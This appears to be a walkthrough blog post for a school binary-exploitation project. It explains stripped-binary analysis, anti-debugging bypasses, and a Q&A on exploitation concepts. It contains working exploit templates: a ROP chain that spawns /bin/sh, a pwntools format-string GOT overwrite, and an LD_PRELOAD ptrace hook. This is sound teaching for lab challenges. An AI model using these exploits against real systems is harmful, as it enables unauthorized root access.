Post

Override - Advanced Reverse Engineering and Binary Exploitation

Introduction :

Reverse engineering involves disassembling and analyzing compiled binary executables to deduce their logic, structure, and potential vulnerabilities without access to the original source code. In advanced exploitation, attackers must circumvent binary protection mechanisms applied by the compiler and operating system — mechanisms such as ASLR (Address Space Layout Randomization), NX/DEP (No-Execute bit), Stack Canaries, and PIE (Position Independent Executables). Override is the project where all of these protections collide, and the exploit developer must defeat each one methodically.

Project goals :

Override is the culmination of the 1337 system security track, building directly on the foundations laid by Rainfall and Snow Crash. It requires intense reverse engineering of stripped, 32-bit x86 ELF binaries. The goal is to bypass logic checks, dismantle bomb-lab style executables, and exploit complex memory corruption vulnerabilities including off-by-one, format string bugs, and Use-After-Free (UAF) in order to gain a root shell on each level.

Binary Protections Overview :

Before diving into each level, it is essential to understand what defenses the binary employs. Use checksec (from the pwntools suite or as a standalone script) to audit protection flags:

1
2
3
4
5
6
7
$ checksec --file=./level01
[*] './level01'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ProtectionDescriptionImpact on Exploitation
ASLROS randomizes base addresses of stack, heap, and libraries at each runBreaks hardcoded addresses; requires info-leak or brute force
NX/DEPStack and heap pages are marked non-executableShellcode injection on stack is blocked; requires ROP
Stack CanaryA random value placed before the saved return addressOverwrites are detected before function return
PIEBinary itself is loaded at a random addressBreaks all hardcoded binary addresses; requires info-leak
RELROGOT (Global Offset Table) is made read-onlyBlocks GOT overwrite technique

Walkthrough :

:one: Static Analysis of Stripped Binaries :

A stripped binary lacks debugging symbols (function names, variable names). Use tools like objdump, Ghidra, or IDA Pro to disassemble and decompile the binary back into C-like pseudocode. The first step is always to understand the binary’s overall structure.

1
2
3
4
5
6
$ file ./level01
level01: ELF 32-bit LSB executable, Intel 80386, dynamically linked, stripped

$ objdump -d -M intel ./level01 | head -50

$ strings ./level01 | grep -i "pass\|auth\|flag\|win"

In Ghidra, load the binary and let the auto-analyzer run. Navigate to the entry point (_start), identify the call to __libc_start_main, and from there locate the main function. Rename functions and variables as you understand their purpose to progressively reconstruct the source code.

:two: Dynamic Tracing with GDB and PEDA :

Run the binary within GDB augmented with the PEDA (Python Exploit Development Assistance) extension to get color-coded context, pattern generation, and pattern offset finding.

1
2
3
4
$ gdb -q ./level01
gdb-peda$ start
gdb-peda$ info functions
gdb-peda$ disas main

Trace system calls to see what files the program reads, what sockets it opens, and what signals it handles — often revealing hardcoded paths or expected inputs:

1
2
$ strace ./level01 2>&1 | grep -E "open|read|write"
$ ltrace ./level01 2>&1 | grep -E "strcmp|strncmp|memcmp"

The ltrace output is particularly valuable: if the program calls strcmp(user_input, "s3cr3t_p4ss"), the correct password is immediately visible in the trace.

:three: Reconstructing Logic Puzzles from Assembly :

Some levels require inputting precise data structures or passwords derived from complex mathematical transformations embedded in the binary. Analyze the x86 assembly instructions to reverse the operations.

Example — a checksum loop found via Ghidra pseudocode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
; Reconstruct the following C logic from assembly:
; int checksum = 0;
; for (int i = 0; i < 8; i++) {
;     checksum ^= input[i] * (i + 1);
; }
; if (checksum != 0xDEAD) { exit(1); }

; Assembly equivalent:
08048450 <check>:
  8048450: xor    eax, eax          ; checksum = 0
  8048452: xor    ecx, ecx          ; i = 0
.loop:
  8048454: mov    edx, [ebp+ecx-0x28]
  8048458: inc    ecx
  8048459: imul   edx, ecx
  804845b: xor    eax, edx          ; checksum ^= input[i] * (i+1)
  804845d: cmp    ecx, 8
  8048460: jl     .loop
  8048462: cmp    eax, 0xDEAD
  8048467: jne    fail

Write a small Python script to brute-force or reverse-calculate the required input:

1
2
3
4
#!/usr/bin/env python3
target = 0xDEAD
# Solve for input bytes that produce the required checksum
# ...

:four: Defeating Anti-Debugging (ptrace checks) :

Executables may implement ptrace checks to detect if they are being run under a debugger. If a debugger is attached, the ptrace(PTRACE_TRACEME, ...) call fails (returns -1), and the program exits.

1
2
3
4
5
// Anti-debug pattern in C:
if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) {
    puts("Debugger detected!");
    exit(1);
}

Method 1 — Patch the return value in GDB:

Set a breakpoint on the ptrace call, let it execute, then manually overwrite EAX with 0 before the comparison:

1
2
3
4
gdb-peda$ break *0x08048512
gdb-peda$ run
gdb-peda$ set $eax = 0
gdb-peda$ continue

Method 2 — NOP out the conditional jump:

Find the jl/jne instruction that follows the check in memory and patch the bytes to 0x90 0x90 (NOP NOP) using GDB’s set command:

1
gdb-peda$ set *(short*)0x08048517 = 0x9090

Method 3 — LD_PRELOAD hook:

Write a shared library that overrides ptrace to always return 0:

1
2
3
4
5
6
7
8
// antidebug_bypass.c
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, ...) {
    return 0;
}

$ gcc -shared -fPIC -o bypass.so antidebug_bypass.c
$ LD_PRELOAD=./bypass.so ./level01

:five: Stack-Based Buffer Overflow with ROP Chains :

When NX is enabled, the stack is non-executable, so classic shellcode injection is blocked. Instead, use Return-Oriented Programming (ROP) — chaining together small sequences of existing executable code (called “gadgets”) ending in a ret instruction to perform arbitrary operations.

Step 1 — Find the overflow offset:

1
2
3
4
gdb-peda$ pattern create 200
gdb-peda$ run <<< $(python3 -c "print('A'*200)")
gdb-peda$ pattern offset $eip
# Output: 112 found at offset: 112

Step 2 — Find ROP gadgets:

1
2
3
4
5
$ ROPgadget --binary ./level01 --rop | grep "pop eax"
0x080484f3 : pop eax ; ret

$ ROPgadget --binary ./level01 --rop | grep "int 0x80"
0x08048507 : int 0x80

Step 3 — Build a execve("/bin/sh", NULL, NULL) ROP chain:

For a 32-bit Linux execve syscall: eax=0xb, ebx/bin/sh, ecx=0, edx=0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from struct import pack

padding = b'A' * 112
binsh_addr = 0x08049abc  # address of "/bin/sh" string found via ROPgadget or strings

rop  = pack('<I', 0x080484f3)  # pop eax ; ret
rop += pack('<I', 0x0000000b)  # syscall number for execve
rop += pack('<I', 0x080484e1)  # pop ebx ; ret
rop += pack('<I', binsh_addr)  # ptr to "/bin/sh"
rop += pack('<I', 0x080484d2)  # pop ecx ; pop edx ; ret
rop += pack('<I', 0x00000000)  # ecx = NULL
rop += pack('<I', 0x00000000)  # edx = NULL
rop += pack('<I', 0x08048507)  # int 0x80

payload = padding + rop
with open('/tmp/payload', 'wb') as f:
    f.write(payload)

$ (cat /tmp/payload; cat) | ./level01
# Shell spawned!

:six: Format String Exploitation :

A format string vulnerability occurs when user-controlled input is passed directly as the format argument to printf, sprintf, or similar functions. This allows reading arbitrary memory (using %x or %s) and — critically — writing arbitrary values to arbitrary memory addresses (using %n).

1
2
// Vulnerable code:
printf(user_input);  // WRONG — should be printf("%s", user_input)

Reading the stack:

1
2
$ echo "%08x.%08x.%08x.%08x" | ./levelXX
ffbe1234.00000000.08048abc.deadbeef

Writing to an address (GOT overwrite):

%n writes the number of bytes printed so far to the address pointed to by the corresponding argument. By carefully crafting the format string and controlling the stack, you can overwrite the GOT entry of a function like exit to redirect execution to system:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
import struct

# Overwrite GOT entry for exit() with address of system()
got_exit   = 0x0804a018  # address of exit@got.plt
addr_system = 0x080484b0  # address of system() or one_gadget

# Use pwntools fmtstr_payload for automation:
from pwn import *
payload = fmtstr_payload(6, {got_exit: addr_system})
p = process('./levelXX')
p.sendline(payload)
p.interactive()

:seven: Heap Exploitation — Use-After-Free (UAF) :

A Use-After-Free vulnerability occurs when a program frees a heap chunk and then continues to use a pointer to that chunk. An attacker can allocate a new chunk of the same size, filling it with controlled data, which the program then interprets through the dangling pointer — often leading to function pointer hijack.

1
2
3
4
5
6
7
8
9
10
11
12
// Simplified UAF pattern:
struct Auth { char name[32]; int auth; };
struct Service { char cmd[128]; };

struct Auth    *a = malloc(sizeof(struct Auth));
free(a);                    // Auth freed
struct Service *s = malloc(sizeof(struct Service)); // reuses same chunk
strcpy(s->cmd, user_input);

if (a->auth) {             // a is dangling, reads from s's memory!
    spawn_shell();
}

The exploit strategy:

  1. Allocate the Auth struct and trigger the free.
  2. Allocate the Service struct (same size → same heap chunk via glibc bins).
  3. Write a non-zero value at the correct offset within Service->cmd so that a->auth reads a non-zero value.
  4. Trigger the privileged code path.

Questions and answers

:question: What does it mean when a binary is “stripped”?

Stripping a binary removes symbolic information — function names, variable identifiers, and source line mappings — that are normally embedded for debugging. The strip utility (or GCC’s -s flag) performs this. It significantly reduces file size but forces the reverse engineer to work purely from raw assembly and memory addresses. Modern decompilers like Ghidra can partially recover structure by identifying common library call signatures through FLIRT (Fast Library Identification and Recognition Technology) signatures.

:question: What is the EAX register and what are the general-purpose registers in x86?

In 32-bit x86, there are eight general-purpose registers. EAX (Accumulator) stores arithmetic results and the return value of function calls (per the cdecl convention). EBX (Base) is a callee-saved general purpose register often used as a base pointer in GOT-relative addressing. ECX (Counter) is used in loop and string instructions. EDX (Data) is used in multiplication/division and as a second argument in syscalls. ESI/EDI are source and destination index registers for string operations. ESP (Stack Pointer) always points to the top of the stack. EBP (Base Pointer) frames the current function’s stack.

:question: What is an off-by-one vulnerability and how can it lead to code execution?

An off-by-one vulnerability is a boundary condition error where code reads or writes exactly one element beyond the intended buffer — typically caused by using <= instead of < in a loop, or mishandling null terminators. On the stack, a single extra byte can overwrite the least significant byte (LSB) of the saved EBP. This shifts the frame pointer by up to 255 bytes when the function returns, redirecting the stack to attacker-controlled data upon the next ret instruction — a technique called “off-by-one into EBP.”

:question: What is Return-Oriented Programming (ROP) and why is it necessary?

ROP is an exploitation technique that bypasses the NX/DEP memory protection, which marks the stack and heap as non-executable. Since classic shellcode injection into the stack would immediately cause a segfault on NX-enabled systems, ROP chains together small sequences of existing legitimate executable code called “gadgets” — each ending with a ret instruction. By carefully controlling the stack with a sequence of gadget addresses and their arguments, an attacker can execute arbitrary logic purely from existing code pages, which are always executable.

:question: What is the Global Offset Table (GOT) and why is it an exploitation target?

When a Linux ELF binary calls a shared library function (e.g., printf, exit, system), the linker uses a two-step mechanism: the Procedure Linkage Table (PLT) and the Global Offset Table (GOT). The GOT is a writable data section that stores the resolved runtime addresses of library functions. When Partial RELRO is in effect (the default), the GOT is writable. Overwriting a GOT entry (e.g., replacing the address of exit with the address of system) means that the next call to exit("/bin/sh") in the program will actually call system("/bin/sh") instead.

:question: How does ASLR affect exploitation and what are the common bypasses?

ASLR randomizes the base load addresses of the stack, heap, and shared libraries on every execution, making hardcoded absolute addresses unreliable. Common bypasses include: (1) Information Leak — finding a vulnerability that leaks a runtime address (e.g., a format string %s leak of a GOT entry) to defeat randomization and compute other addresses at runtime. (2) Brute Force — on 32-bit systems, ASLR entropy is only ~16 bits for the stack, making repeated guessing feasible. (3) Partial Overwrite — only overwriting the LSB(s) of a pointer to redirect to a nearby address within the same loaded page (which is not randomized).

Ressources :

  • Ghidra Reverse Engineering Tool : https://ghidra-sre.org/
  • LiveOverflow Security Exploit Series : https://liveoverflow.com/
  • Understanding Anti-Debugging Techniques : https://anti-reversing.com/
  • pwntools CTF Exploit Framework : https://docs.pwntools.com/en/stable/
  • ROPgadget Tool : https://github.com/JonathanSalwan/ROPgadget
  • ROP Emporium (practice challenges) : https://ropemporium.com/
  • Linux x86 Syscall Table : https://syscalls.kernelgrok.com/
  • Format String Exploitation Tutorial : https://axcheron.github.io/exploit-101-format-strings/
  • How2Heap — Heap Exploitation Techniques : https://github.com/shellphish/how2heap
This post is licensed under CC BY 4.0 by the author.